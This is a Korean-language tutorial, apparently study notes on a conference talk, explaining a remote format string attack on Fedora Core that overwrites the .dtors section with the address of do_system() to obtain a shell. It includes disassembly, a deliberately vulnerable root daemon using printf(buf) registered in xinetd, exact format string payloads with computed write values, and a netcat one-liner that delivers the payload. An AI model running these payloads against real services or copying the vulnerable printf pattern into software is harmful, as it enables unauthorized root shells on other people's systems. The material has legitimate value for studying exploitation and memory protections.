Fedora core 기반 do_system() RTL 공격기법

수원대학교 flag 지선호(kissmefox@gmail.com)

*유동훈(x82)님의 POC 발표자료를 학습한 문서입니다.

fedora 환경은 NULL pointer dereference protection 기술을 적용하여 함수의 주소 안에 NULL 이 붙는 16Mbyte 미만의 주소를 사용하기 때문에 이전에 적용되던 공격기법들이 대부분 사전에 차단되었다.

```
[root@kissmefox bufferoverflow]# cat /proc/self/maps
009f3000-00a0d000 r-xp 00000000 08:01 458762     /lib/ld-2.3.6.so
00a0d000-00a0e000 r-xp 00019000 08:01 458762     /lib/ld-2.3.6.so
00a0e000-00a0f000 rwxp 0001a000 08:01 458762     /lib/ld-2.3.6.so
00a11000-00b34000 r-xp 00000000 08:01 458764     /lib/libc-2.3.6.so
00b34000-00b36000 r-xp 00122000 08:01 458764     /lib/libc-2.3.6.so
00b36000-00b38000 rwxp 00124000 08:01 458764     /lib/libc-2.3.6.so
00b38000-00b3a000 rwxp 00b38000 00:00 0
00e9c000-00e9d000 r-xp 00e9c000 00:00 0
08048000-0804d000 r-xp 00000000 08:01 1933359    /bin/cat
0804d000-0804e000 rw-p 00004000 08:01 1933359    /bin/cat
082d1000-082f2000 rw-p 082d1000 00:00 0          [heap]
b7d72000-b7f72000 r--p 00000000 08:01 1772612    /usr/lib/locale/locale-archive
b7f72000-b7f73000 rw-p b7f72000 00:00 0
b7f7d000-b7f7e000 rw-p b7f7d000 00:00 0
bfd69000-bfd7e000 rw-p bfd69000 00:00 0          [stack]
```

fedora 4의 메모리 맵 구조를 살펴보면 라이브러리 영역의 주소는 NULL 을 포함하는 주소에 위치해 있고, heap 영역과 stack 영역은 실행이 불가능한 것을 확인할 수 있다. 때문에 기존 overflow 공격시에 4byte 주소 값을 입력할 수가 없기 때문에 (NULL 이 포함되어 공격스트링 구성이 힘들어짐) 다른 방식의 공격기술을 찾아내야 한다.

먼저 공격에 사용될 system() 함수와 exec* 계열 함수에 대하여 분석해 보자.

* 이전 system()함수와 최근 system()함수 비교

-redhat 7.2기반 system() 함수

```
int main()
{
        system("ps");
}
```

```
(gdb) disassemble main
Dump of assembler code for function main:
0x8048460 <main>:       push   %ebp
0x8048461 <main+1>:     mov    %esp,%ebp
0x8048463 <main+3>:     sub    $0x8,%esp
0x8048466 <main+6>:     sub    $0xc,%esp
0x8048469 <main+9>:     push   $0x80484e8
0x804846e <main+14>:    call   0x804831c <system>
0x8048473 <main+19>:    add    $0x10,%esp
0x8048476 <main+22>:    leave
0x8048477 <main+23>:    ret
```

함수 프롤로그 과정을 거친 후에 어떤 값이 push 되고 system 함수가 호출되는 것을 확인할 수 있다.

```
(gdb) x/s 0x80484e8
0x80484e8 <_IO_stdin_used+4>:    "ps"
```

push 되는 값은 system 함수의 인자값이었다.

```
(gdb) x/10x $esp
0xbffffabc:     0x4015b154      0x400168e4      0xbffffb54      0xbffffae8
0xbffffacc:     0x08048473      0x080484e8      0xbffffb54      0xbffffaf8
0xbffffadc:     0x08048441      0x080494fc
(gdb) x/10x $ebp
0xbffffac8:     0xbffffae8      0x08048473      0x080484e8      0xbffffb54
0xbffffad8:     0xbffffaf8      0x08048441      0x080494fc      0x080495fc
0xbffffae8:     0xbffffb28      0x40041507
```

system() 함수가 호출될 때의 스택의 모습이다. 여기서 함수의 인자값은 ebp+8 위치에 있는 것을 확인할 수 있다.

system 함수의 내부이다.

```
0x40074584 <__libc_system>:     push   %ebp
0x40074585 <__libc_system+1>:   mov    %esp,%ebp
0x40074587 <__libc_system+3>:   push   %edi
0x40074588 <__libc_system+4>:   push   %esi
0x40074589 <__libc_system+5>:   push   %ebx
0x4007458a <__libc_system+6>:   sub    $0x2dc,%esp
0x40074590 <__libc_system+12>:  call   0x40074580 <__strtold_l+48>
0x40074595 <__libc_system+17>:  add    $0xe6bbf,%ebx
0x4007459b <__libc_system+23>:  mov    0x8(%ebp),%edx
0x4007459e <__libc_system+26>:  test   %edx,%edx
0x400745a0 <__libc_system+28>:  je     0x400747e1 <__libc_system+605>
0x400745a6 <__libc_system+34>:  movl   $0x0,0xffffffdc(%ebp)
0x400745ad <__libc_system+41>:  mov    $0x1,%eax
0x400745b2 <__libc_system+46>:  mov    $0x1f,%edx
0x400745b7 <__libc_system+51>:  mov    %eax,0xffffff58(%ebp)
0x400745bd <__libc_system+57>:  lea    0xffffffd8(%ebp),%eax
0x400745c0 <__libc_system+60>:  movl   $0x0,(%eax)
0x400745c6 <__libc_system+66>:  sub    $0x4,%eax
0x400745c9 <__libc_system+69>:  dec    %edx
0x400745ca <__libc_system+70>:  jns    0x400745c0 <__libc_system+60>
```

system() 함수의 내부 로직을 전부 분석할 수는 없지만 디스어셈블링 해 보면 0x8(%ebp) 코드를 사용하여 %edx 레지스터에 system 명령 인자를 입력하는것을 확인할 수 있다.

-fedora core 기반의 system() 함수

* 소스는 redhat 환경과 동일함

```
(gdb) disassemble main
Dump of assembler code for function main:
0x08048368 <main+0>:    push   %ebp
0x08048369 <main+1>:    mov    %esp,%ebp
0x0804836b <main+3>:    sub    $0x8,%esp
0x0804836e <main+6>:    and    $0xfffffff0,%esp
0x08048371 <main+9>:    mov    $0x0,%eax
0x08048376 <main+14>:   add    $0xf,%eax
0x08048379 <main+17>:   add    $0xf,%eax
0x0804837c <main+20>:   shr    $0x4,%eax
0x0804837f <main+23>:   shl    $0x4,%eax
0x08048382 <main+26>:   sub    %eax,%esp
0x08048384 <main+28>:   sub    $0xc,%esp
0x08048387 <main+31>:   push   $0x8048478
0x0804838c <main+36>:   call   0x80482a0 <_init+40>
0x08048391 <main+41>:   add    $0x10,%esp
0x08048394 <main+44>:   leave
0x08048395 <main+45>:   ret
```

역시 함수 프롤로그 과정 이후에 인자값이 push 되고 system 함수가 호출된다.

fedora 환경에서의 system() 함수의 내부이다

```
0x003147c0 <system+0>:  push   %ebp
0x003147c1 <system+1>:  mov    %esp,%ebp
0x003147c3 <system+3>:  sub    $0xc,%esp
0x003147c6 <system+6>:  mov    %ebx,(%esp)
0x003147c9 <system+9>:  mov    %esi,0x4(%esp)
0x003147cd <system+13>: mov    %edi,0x8(%esp)
0x003147d1 <system+17>: mov    0x8(%ebp),%esi
0x003147d4 <system+20>: call   0x2f4c71 <__i686.get_pc_thunk.bx>
0x003147d9 <system+25>: add    $0xee81b,%ebx
0x003147df <system+31>: test   %esi,%esi
0x003147e1 <system+33>: je     0x314803 <system+67>
0x003147e3 <system+35>: mov    %gs:0xc,%edx
0x003147ea <system+42>: test   %edx,%edx
0x003147ec <system+44>: jne    0x314825 <system+101>
0x003147ee <system+46>: mov    %esi,%eax
0x003147f0 <system+48>: mov    (%esp),%ebx
0x003147f3 <system+51>: mov    0x4(%esp),%esi
0x003147f7 <system+55>: mov    0x8(%esp),%edi
0x003147fb <system+59>: mov    %ebp,%esp
0x003147fd <system+61>: pop    %ebp
0x003147fe <system+62>: jmp    0x314320 <do_system>
```

redhat 환경과는 다르게 system 함수의 인자값은 esi 레지스터에 넣은 후 다시 eax 레지스터로 복사하여 do_system 함수의 인자로 들어가는 과정을 거치게 된다.

do_system 함수의 내부 구조를 디스어셈블링하면 다음과 같다.

```
0x00314342 <do_system+34>:      mov    %eax,0xfffffeb8(%ebp)
```

: ebp -328 지점에 인자값 복사

```
0x003146fe <do_system+990>:     mov    0xfffffeb8(%ebp),%ecx
0x00314704 <do_system+996>:     lea    0xffff4614(%ebx),%edx
0x0031470a <do_system+1002>:    xor    %edi,%edi
0x0031470c <do_system+1004>:    mov    %edx,0xfffffec4(%ebp)
0x00314712 <do_system+1010>:    lea    0xffff460c(%ebx),%eax
0x00314718 <do_system+1016>:    xor    %esi,%esi
---Type <return> to continue, or q <return> to quit---
0x0031471a <do_system+1018>:    mov    %edi,0xfffffed0(%ebp)
0x00314720 <do_system+1024>:    lea    0x158c(%ebx),%edx
0x00314726 <do_system+1030>:    xor    %edi,%edi
0x00314728 <do_system+1032>:    mov    %ecx,0xfffffecc(%ebp)
```

: execve 함수를 호출하기위한 인자값을 넣기 위한 과정

execve("/bin/sh", "sh -c ps", 환경변수);

```
0x0031478c <do_system+1132>:    xor    %eax,%eax
0x0031478e <do_system+1134>:    mov    %edx,0x16bc(%ebx)
0x00314794 <do_system+1140>:    lea    0xffff460f(%ebx),%edx
0x0031479a <do_system+1146>:    mov    (%ecx),%edi
0x0031479c <do_system+1148>:    mov    %eax,0x16b8(%ebx)
0x003147a2 <do_system+1154>:    mov    %esi,0x4(%esp)
0x003147a6 <do_system+1158>:    mov    %edi,0x8(%esp)
0x003147aa <do_system+1162>:    mov    %edx,(%esp)
0x003147ad <do_system+1165>:    call   0x369490 <execve>
0x003147b2 <do_system+1170>:    movl   $0x7f,(%esp)
0x003147b9 <do_system+1177>:    call   0x369474 <_exit>
0x003147be <do_system+1182>:    mov    %esi,%esi
```

: execve 함수 호출 모습

do_system 함수도 명령어 실행을 위해 execve 함수를 호출하여 명령을 수행하는 것을 확인할 수 있다.

***do_system() 함수를 이용한 원격 format string 공격**

대부분의 local 권한 획득 시에는 system() 함수보다 execl() 함수를 이용하는 것이 유리하다. exec* 계열은 수행 시에 set**id 관련 함수 실행 없이도, euid 에게 setuid 프로그램 실행 권한을 그대로 물려주기 때문이다. (system() 함수는 함수 호출 이전에 setxxid 관련 함수를 실행시켜 주지 않으면, euid,uid 가 전부 실행하는 사용자의 권한을 물려받게 된다)

system() 함수가 호출되어 do_system 함수로 명령어가 전달되고 do_system 함수에서는 실질적으로 execve() 함수를 호출하여 명령어를 실행하기 위해 지정된 인자값을 전달하게 된다. 그 인자 구조는 다음과 같다.

첫 번째 인자 : "/bin/sh"
두 번째 인자 : "-c"
세 번째 인자 : system() 함수의 인자값
네 번째 인자 : NULL

여기에서 execve() 함수의 첫 번째 인자로 들어가 실행되는 "/bin/sh" shell 은 내부적으로 disable_priv_mode() 함수를 실행하는데 이 함수가 프로그램을 실행하는 euid 권한이 root 라고 해도 해당 프로그램을 실행한 사용자의 권한으로 만들어 버리게 된다.

하지만 remote 공격시에는 system() 함수가 더 유리할 수 있다. 원격 공격시에는 RTL 을 통해 shell 을 띄우기 위해 명령 실행 함수의 각 인자 값을 추측해야 한다. exec* 계열 함수를 수행하기 위해서는 인자가 총 3개 필요하지만, system() 함수는 1개의 인자만을 원하므로 더욱 수월하게 공격작업을 수행할 수 있다. 또한 daemon의 실행 권한을 그대로 물려받기 때문에 setxxid 함수 수행을 걱정할 필요가 없다.

remote 공격원리는 __DTOR_END__ 를 do_system 함수 주소로 덮어씌운 후에 쉘을 띄우는 명령어를 실행시키는 것이다.

*dtors덮어쓰기

gcc에는 constructors(.ctor)와 destructors(.dtors)라는 두가지 속성이 있는데, .ctor 는 main() 함수가 실행되기 전에 실행되는것이고, .dtors 는 main() 함수가 종료되고 실행되는 것이다.

이 두가지는 initialized DATA와 bss 영역 사이에 존재하고 있으며 기록할수도 있다. 함수가 종료될때 실행되는 .dtors 영역에 원하는 주소값을 덮어씌워서 공격작업을 수행할 수 있다.

이 함수는 __do_global_dtors_aux 함수 내에서 호출되므로 이 함수의 내부구조를 먼저 분석해 보아야 한다.

```
(gdb) disassemble __do_global_dtors_aux
Dump of assembler code for function __do_global_dtors_aux:
0x08048378 <__do_global_dtors_aux+0>:   push   %ebp
0x08048379 <__do_global_dtors_aux+1>:   mov    %esp,%ebp
0x0804837b <__do_global_dtors_aux+3>:   sub    $0x8,%esp
0x0804837e <__do_global_dtors_aux+6>:   cmpb   $0x0,0x80495d8
0x08048385 <__do_global_dtors_aux+13>:  je     0x8048396 <__do_global_dtors_aux+30>
0x08048387 <__do_global_dtors_aux+15>:  jmp    0x80483a8 <__do_global_dtors_aux+48>
0x08048389 <__do_global_dtors_aux+17>:  lea    0x0(%esi),%esi
0x0804838c <__do_global_dtors_aux+20>:  add    $0x4,%eax
0x0804838f <__do_global_dtors_aux+23>:  mov    %eax,0x80495d0
0x08048394 <__do_global_dtors_aux+28>:  call   *%edx
0x08048396 <__do_global_dtors_aux+30>:  mov    0x80495d0,%eax
0x0804839b <__do_global_dtors_aux+35>:  mov    (%eax),%edx
0x0804839d <__do_global_dtors_aux+37>:  test   %edx,%edx
0x0804839f <__do_global_dtors_aux+39>:  jne    0x804838c <__do_global_dtors_aux+20>
0x080483a1 <__do_global_dtors_aux+41>:  movb   $0x1,0x80495d8
0x080483a8 <__do_global_dtors_aux+48>:  leave
0x080483a9 <__do_global_dtors_aux+49>:  ret
0x080483aa <__do_global_dtors_aux+50>:  mov    %esi,%esi
End of assembler dump.
```

확인해보면 $eax 레지스터는 __DTOR_END__+4 위치가 되는 것을 확인할 수 있다.

.dtors 가 do_system 함수 주소로 overwrite 된다면 do_system 함수의 인자로 들어가는 $eax 레지스터는 바로 다음 4byte 의 위치가 된다.

실제로 .dtors 를 do_system 함수로 overwrite 후에 eax 레지스터의 위치를 확인해보면 다음과 같다.

```
[root@kissmefox bufferoverflow]# objdump -s -j .dtors daemon

daemon:     file format elf32-i386

Contents of section .dtors:
 80494d4 ffffffff 00000000                    ........
```

__DTOR_END__ : 0x080494d8

```
(gdb) x/x do_system
0x314320 <do_system>:    0x0001ba55
```

do_system : 0x00314320

format string 공격을 위해 do_system 함수의 주소를 두 개로 나누어 10진수로 변환한다.

0x4320 – 8 = 17168

0x10031 – 0x4320 = 48401

exploit payload

printf "₩xd8₩x94₩x04₩x08₩xda₩x94₩x04₩x08" %17176x%8₩$n%48401x%9₩$n

위에서 eax 레지스터의 위치가 __DTOR_END__ + 4byte 위치에 존재한다는 것을 이미 확인하였다. 그러므로 위의 공격코드에서 덮어씌울 주소에 다음부터 "sh;" 문자열의 16진수 값을 덮어씌우면 do_system 함수에 의해 eax 레지스터에 덮어씌워진 sh 문자열이 실행되어 쉘을 획득할 수 있을 것이다!!!

원격 공격을 위해 xinetd 데몬에 서비스를 등록시키고 재시작한다.

```
service test
{
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = root
        server          = /bufferoverflow/daemon
        disable         = no
}
```

daemon.c

```
int main()
{
        char buf[256];
        scanf("%s",buf);
        printf(buf);
}
```

```
[root@kissmefox bufferoverflow]# objdump -h daemon2 | grep .dtors
 16 .dtors       00000008  080494d8  080494d8  000004d8  2**2
```

__DTOR_END__ : 0x080494dc

sh 문자열의 16진수값을 주소값에 연달아 입력해 주어야 하므로

0x4320 – 16 = 17168
0x10031 – 0x4320 = 48401
0x6873 – 0x0031 = 26690
0x10000 – 0x6873 = 38797

이제 공격스트링을 구성하면 다음과 같다.
₩xdc₩x94₩x04₩x08₩xde₩x94₩x04₩x08₩xe0₩x94₩x04₩x08₩xe2₩x94₩x04₩x08
";echo %17168x%8₩$n%48401x%9₩$n%26690x%10₩$n%38797x%11₩$n

데몬은 띄우고 remote 공격을 다음과 같이 시도하였다.
(p r i n t f "₩xdc₩x94₩x04₩x08₩xde₩x94₩x04₩x08₩xe0₩x94₩x04₩x08₩xe2₩x94₩x04₩x08";echo %17168x%8₩$n%48401x%9₩$n%26690x%10₩$n%38797x%11₩$n;cat) |nc localhost 544

공격이 성공한 화면이다.